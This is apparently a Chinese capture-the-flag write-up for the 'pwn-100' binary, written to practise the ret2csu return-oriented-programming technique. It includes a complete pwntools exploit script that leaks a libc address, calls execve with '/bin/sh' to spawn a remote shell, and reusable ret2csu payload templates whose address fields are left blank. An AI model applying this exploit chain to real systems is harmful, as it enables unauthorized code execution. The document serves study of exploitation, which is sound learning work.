最近学习了中级Rop中的ret2csu
技巧,记录一篇WP来巩固学习
新增了常用ret2csu
脚本
pwn-100
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
int sub_40068E()
{
char v1[64]; // [rsp+0h] [rbp-40h] BYREF
sub_40063D((__int64)v1, 200);
return puts("bye~");
}
此处有栈溢出漏洞,并且可以溢出很大
程序可以调用puts
和read
思路:通过ret2csu
调用puts
获取puts
函数的真实地址,通过LibcSearcher
拿到基地址,调用read
向bss段写入execve
和/bin/sh\x00
,调用execve
拿到shell
from pwn import *
from LibcSearcher import LibcSearcher
context(os='linux',arch='amd64',log_level='debug')
sh=remote('111.200.241.244',53809)
#sh=process('./pwn100')
elf=ELF('./pwn100')
csu_end=0x40075A
csu_front=0x400740
puts_got=elf.got['puts']
read_got=elf.got['read']
main=0x40068e
bss_base=elf.bss();
def csu(rbx,rbp,r12,r13,r14,r15,last):
payload='a'*0x40+'bbbbbbbb'
payload+=p64(csu_end)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload+=p64(csu_front)+'a'*0x38+p64(last)
sh.send(payload)
sh.recvuntil('bye~\n')
csu(0,1,puts_got,0,0,puts_got,main)
puts_addr=u64(sh.recv()[:-1].ljust(0x8,'\x00'))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
execve_addr = libc_base + libc.dump('execve')
csu(0,1,read_got,16,bss_base,0,main)
sh.send(p64(execve_addr)+'/bin/sh\x00')
csu(0,1,bss_base,0,0,bss_base+0x8,main)
sh.interactive()
常用ret2csu脚本
地址需要根据题目添加
2.31及以上版本
def csu(call, rdi, rsi, rdx):
csu_end =
csu_front =
payload = p64(csu_end)+p64(0)+p64(1)+p64(rdi)+p64(rsi) + \
p64(rdx)+p64(call)+p64(csu_front)+b'\x00'*0x38
return payload
2.31以下版本
def csu(call, rdi, rsi, rdx):
csu_end =
csu_front =
payload = p64(csu_end)+p64(0)+p64(1)+p64(call)+p64(rdx) + \
+p64(rsi)+p64(rdi)+p64(csu_front)+'\x00'*0x38
return payload